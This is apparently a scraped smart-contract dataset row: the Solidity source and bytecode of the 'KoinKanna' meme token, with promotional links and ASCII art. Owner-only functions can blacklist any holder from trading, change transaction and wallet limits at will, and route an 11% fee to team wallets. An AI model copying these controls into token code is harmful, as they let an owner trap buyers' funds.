1602052604090205460ff16156112b2576040805162461bcd60e51b8152602060048201526016602482015275022a92199181d1039b2b73232b91030b2323932b9b9960551b604482015290519081900360640190fd5b6112bd8484846119e8565b80541561144657806001015442111561136657600060018201819055815560408051606081019091526026808252611319918491611b0260208301396001600160a01b038716600090815260208190526040902054919061151d565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546113489083610fb2565b6001600160a01b038416600090815260208190526040902055611441565b60006113a98260000154604051806060016040528060228152602001611ae0602291396001600160a01b038816600090815260208190526040902054919061151d565b90506113d083604051806060016040528060268152602001611b026026913983919061151d565b6001600160a01b038616600090815260208190526040902081905582546113f79190610fb2565b6001600160a01b0380871660009081526020819052604080822093909355908616815220546114269084610fb2565b6001600160a01b038516600090815260208190526040902055505b6114cc565b61148382604051806060016040528060268152602001611b02602691396001600160a01b038716600090815260208190526040902054919061151d565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546114b29083610fb2565b6001600160a01b0384166000908152602081905260409020555b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600081848411156115ac5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611571578181015183820152602001611559565b50505050905090810190601f16801561159e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0382166115f95760405162461bcd60e51b8152600401808060200182810382526021815260200180611c146021913960400191505060405180910390fd5b611605826000836119e8565b61164281604051806060016040528060228152602001611a76602291396001600160a01b038516600090815260208190526040902054919061151d565b6001600160a01b03831660009081526020819052604090205560055461166890826119ed565b6005556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b03831660008181526003602052604090209061171a576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b80546117269084610fb2565b6001600160a01b038516600090815260208190526040902054101561177c5760405162461bcd60e51b8152600401808060200182810382526030815260200180611b746030913960400191505060405180910390fd5b600081600101541180156117935750806001015442115b156117a45760006001820181905581555b6001810182905580546117b79084610fb2565b8082556040518391906001600160a01b038716907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558090600090a450505050565b6001600160a01b03811661183c5760405162461bcd60e51b8152600401808060200182810382526023815260200180611c7e6023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602081905260409091205460ff161515146118af576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2041646472657373206e6f7420626c61636b6c69737465640000604482015290519081900360640190fd5b6001600160a01b038116600081815260016020526040808220805460ff19169055519091907f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c2908390a350565b6001600160a01b0381166119415760405162461bcd60e51b8152600401808060200182810382526023815260200180611c7e6023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602052604090205460ff16156119995760405162461bcd60e51b8152600401808060200182810382526023815260200180611a536023913960400191505060405180910390fd5b6001600160a01b0381166000818152600160208190526040808320805460ff191683179055519092917f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c291a350565b505050565b600061100c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061151d56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea2646970667358221220c1019230d82501330f14bb2149b6d9da0a5676752e18c73f87c5589b96fbde0d64736f6c63430007030033 | {"success": true, "error": null, "results": {}} | 927 |
0xeecf01acb9c40a1642987109df3f95cb30414bf8 | /**
*/
/**
//SPDX-License-Identifier: UNLICENSED
Koin kanna ($Kanna)
Official Links:
Telegram:
https://t.me/KannaKoin_Official
Website:
https://www.koinkanna.com/
- Ravioli, ravioli, don't lewd the dragon loli
⠀⠀⠀⣿⣿⡆⠀⠀⢸⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡇⠀⠀⣾⣿⡆⠀
⠀⠀⠀⣿⣿⡇⠀⠀⢸⣿⢰⣿⡆⠀⣾⣿⡆⠀⣾⣷ ⣿⣿⡇⠀⠀⣿⣿⡇⠀
⠀⠀⠀⣿⣿⡇⠀⠀⢸⣿⠘⣿⣿⣤⣿⣿⣿⣤⣿⡇⢻⣿⡇⠀⠀⣿⣿⡇⠀
⠀⠀⠀⣿⣿⡇⠀⠀⢸⡿⠀⢹⣿⣿⣿⣿⣿⣿⣿⠁⢸⣿⣇⠀⢀⣿⣿⠇⠀
⠀⠀⠀⠙⢿⣷⣶⣶⡿⠁⠀⠈⣿⣿⠟⠀⣿⣿⠇⠀⠈⠻⣿⣶⣾⡿⠋⠀⠀
⡿⠋⠄⣀⣀⣤⣴⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣌⠻⣿⣿
⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⠹⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠹
⣿⣿⡟⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡛⢿⣿⣿⣿⣮⠛⣿⣿⣿⣿⣿⣿⡆
⡟⢻⡇⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣣⠄⡀⢬⣭⣻⣷⡌⢿⣿⣿⣿⣿⣿
⠃⣸⡀⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠈⣆⢹⣿⣿⣿⡈⢿⣿⣿⣿⣿
⠄⢻⡇⠄⢛⣛⣻⣿⣿⣿⣿⣿⣿⣿⣿⡆⠹⣿⣆⠸⣆⠙⠛⠛⠃⠘⣿⣿⣿⣿
⠄⠸⣡⠄⡈⣿⣿⣿⣿⣿⣿⣿⣿⠿⠟⠁⣠⣉⣤⣴⣿⣿⠿⠿⠿⡇⢸⣿⣿⣿
⠄⡄⢿⣆⠰⡘⢿⣿⠿⢛⣉⣥⣴⣶⣿⣿⣿⣿⣻⠟⣉⣤⣶⣶⣾⣿⡄⣿⡿⢸
⠄⢰⠸⣿⠄⢳⣠⣤⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣼⣿⣿⣿⣿⣿⣿⡇⢻⡇⢸
⢷⡈⢣⣡⣶⠿⠟⠛⠓⣚⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⢸⠇⠘
⡀⣌⠄⠻⣧⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠛⠛⠛⢿⣿⣿⣿⣿⣿⡟⠘⠄⠄
⣷⡘⣷⡀⠘⣿⣿⣿⣿⣿⣿⣿⣿⡋⢀⣠⣤⣶⣶⣾⡆⣿⣿⣿⠟⠁⠄⠄⠄⠄
⣿⣷⡘⣿⡀⢻⣿⣿⣿⣿⣿⣿⣿⣧⠸⣿⣿⣿⣿⣿⣷⡿⠟⠉⠄⠄⠄⠄⡄⢀
⣿⣿⣷⡈⢷⡀⠙⠛⠻⠿⠿⠿⠿⠿⠷⠾⠿⠟⣛⣋⣥⣶⣄⠄⢀⣄⠹⣦⢹⣿
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KoinKanna is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isExcludedFromFee;
mapping (address => bool) public isExcludedFromLimit;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public swapThreshold = 100_000_000 * 10**9;
uint256 private _reflectionFee = 0;
uint256 private _teamFee = 11;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "KoinKanna";
string private constant _symbol = "UwU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap;
bool private swapEnabled;
bool private cooldownEnabled;
uint256 private _maxTxAmount = 30_000_000_000 * 10**9;
uint256 private _maxWalletAmount = 30_000_000_000 * 10**9;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address wallet1, address wallet2) {
_feeAddrWallet1 = payable(wallet1);
_feeAddrWallet2 = payable(wallet2);
_rOwned[_msgSender()] = _rTotal;
isExcludedFromFee[owner()] = true;
isExcludedFromFee[address(this)] = true;
isExcludedFromFee[_feeAddrWallet1] = true;
isExcludedFromFee[_feeAddrWallet2] = true;
isExcludedFromLimit[owner()] = true;
isExcludedFromLimit[address(this)] = true;
isExcludedFromLimit[address(0xdead)] = true;
isExcludedFromLimit[_feeAddrWallet1] = true;
isExcludedFromLimit[_feeAddrWallet2] = true;
emit Transfer(address(this), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (!isExcludedFromLimit[from] || (from == uniswapV2Pair && !isExcludedFromLimit[to])) {
require(amount <= _maxTxAmount, "Anti-whale: Transfer amount exceeds max limit");
}
if (!isExcludedFromLimit[to]) {
require(balanceOf(to) + amount <= _maxWalletAmount, "Anti-whale: Wallet amount exceeds max limit");
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance >= swapThreshold) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
isExcludedFromLimit[address(uniswapV2Router)] = true;
isExcludedFromLimit[uniswapV2Pair] = true;
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function changeMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount;
}
function changeMaxWalletAmount(uint256 amount) public onlyOwner {
_maxWalletAmount = amount;
}
function changeSwapThreshold(uint256 amount) public onlyOwner {
swapThreshold = amount;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
isExcludedFromFee[account] = excluded;
}
function excludeFromLimits(address account, bool excluded) public onlyOwner {
isExcludedFromLimit[account] = excluded;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflect, uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
_rOwned[recipient] = _rOwned[recipient].add(rAmount);
emit Transfer(sender, recipient, tAmount);
} else {
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rReflect, tReflect);
emit Transfer(sender, recipient, tTransferAmount);
}
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflect) = _getRValues(tAmount, tReflect, tTeam, currentRate);
return (rAmount, rTransferAmount, rReflect, tTransferAmount, tReflect, tTeam);
}
function _getTValues(uint256 tAmount, uint256 reflectFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tReflect = tAmount.mul(reflectFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tReflect).sub(tTeam);
return (tTransferAmount, tReflect, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tReflect, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rReflect = tReflect.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rReflect).sub(rTeam);
return (rAmount, rTransferAmount, rReflect);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b515566a1161008a578063c9567bf911610064578063c9567bf914610565578063d94160e01461057c578063dd62ed3e146105b9578063f4293890146105f65761018c565b8063b515566a146104ea578063c024666814610513578063c0a904a21461053c5761018c565b8063715018a6146103ee57806381bfdcca1461040557806389f425e71461042e5780638da5cb5b1461045757806395d89b4114610482578063a9059cbb146104ad5761018c565b8063313ce5671161013e5780635342acb4116101185780635342acb4146103225780635932ead11461035f578063677daa571461038857806370a08231146103b15761018c565b8063313ce567146102b557806349bd5a5e146102e057806351bc3c851461030b5761018c565b80630445b6671461019157806306fdde03146101bc578063095ea7b3146101e757806318160ddd1461022457806323b872dd1461024f578063273123b71461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a661060d565b6040516101b391906136ca565b60405180910390f35b3480156101c857600080fd5b506101d1610613565b6040516101de9190613528565b60405180910390f35b3480156101f357600080fd5b5061020e6004803603810190610209919061304b565b610650565b60405161021b919061350d565b60405180910390f35b34801561023057600080fd5b5061023961066e565b60405161024691906136ca565b60405180910390f35b34801561025b57600080fd5b5061027660048036038101906102719190612fc0565b61067f565b604051610283919061350d565b60405180910390f35b34801561029857600080fd5b506102b360048036038101906102ae9190612f32565b610758565b005b3480156102c157600080fd5b506102ca610848565b6040516102d7919061373f565b60405180910390f35b3480156102ec57600080fd5b506102f5610851565b604051610302919061343f565b60405180910390f35b34801561031757600080fd5b50610320610877565b005b34801561032e57600080fd5b5061034960048036038101906103449190612f32565b6108f1565b604051610356919061350d565b60405180910390f35b34801561036b57600080fd5b50610386600480360381019061038191906130c8565b610911565b005b34801561039457600080fd5b506103af60048036038101906103aa919061311a565b6109c3565b005b3480156103bd57600080fd5b506103d860048036038101906103d39190612f32565b610a62565b6040516103e591906136ca565b60405180910390f35b3480156103fa57600080fd5b50610403610ab3565b005b34801561041157600080fd5b5061042c6004803603810190610427919061311a565b610c06565b005b34801561043a57600080fd5b506104556004803603810190610450919061311a565b610ca5565b005b34801561046357600080fd5b5061046c610d44565b604051610479919061343f565b60405180910390f35b34801561048e57600080fd5b50610497610d6d565b6040516104a49190613528565b60405180910390f35b3480156104b957600080fd5b506104d460048036038101906104cf919061304b565b610daa565b6040516104e1919061350d565b60405180910390f35b3480156104f657600080fd5b50610511600480360381019061050c9190613087565b610dc8565b005b34801561051f57600080fd5b5061053a6004803603810190610535919061300f565b610f18565b005b34801561054857600080fd5b50610563600480360381019061055e919061300f565b611008565b005b34801561057157600080fd5b5061057a6110f8565b005b34801561058857600080fd5b506105a3600480360381019061059e9190612f32565b611739565b6040516105b0919061350d565b60405180910390f35b3480156105c557600080fd5b506105e060048036038101906105db9190612f84565b611759565b6040516105ed91906136ca565b60405180910390f35b34801561060257600080fd5b5061060b6117e0565b005b600b5481565b60606040518060400160405280600981526020017f4b6f696e4b616e6e610000000000000000000000000000000000000000000000815250905090565b600061066461065d611852565b848461185a565b6001905092915050565b6000683635c9adc5dea00000905090565b600061068c848484611a25565b61074d84610698611852565b61074885604051806060016040528060288152602001613e4f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106fe611852565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120fb9092919063ffffffff16565b61185a565b600190509392505050565b610760611852565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e49061364a565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b8611852565b73ffffffffffffffffffffffffffffffffffffffff16146108d857600080fd5b60006108e330610a62565b90506108ee8161215f565b50565b60056020528060005260406000206000915054906101000a900460ff1681565b610919611852565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099d9061364a565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b6109cb611852565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4f9061364a565b60405180910390fd5b8060128190555050565b6000610aac600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612459565b9050919050565b610abb611852565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3f9061364a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610c0e611852565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c929061364a565b60405180910390fd5b8060138190555050565b610cad611852565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d319061364a565b60405180910390fd5b80600b8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5577550000000000000000000000000000000000000000000000000000000000815250905090565b6000610dbe610db7611852565b8484611a25565b6001905092915050565b610dd0611852565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e549061364a565b60405180910390fd5b60005b8151811015610f1457600160076000848481518110610ea8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f0c906139e0565b915050610e60565b5050565b610f20611852565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa49061364a565b60405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611010611852565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461109d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110949061364a565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611100611852565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461118d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111849061364a565b60405180910390fd5b601160149054906101000a900460ff16156111dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d4906136aa565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061126d30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061185a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156112b357600080fd5b505afa1580156112c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112eb9190612f5b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561134d57600080fd5b505afa158015611361573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113859190612f5b565b6040518363ffffffff1660e01b81526004016113a292919061345a565b602060405180830381600087803b1580156113bc57600080fd5b505af11580156113d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f49190612f5b565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061157130610a62565b60008061157c610d44565b426040518863ffffffff1660e01b815260040161159e969594939291906134ac565b6060604051808303818588803b1580156115b757600080fd5b505af11580156115cb573d6000803e3d6000fd5b50505050506040513d601f1960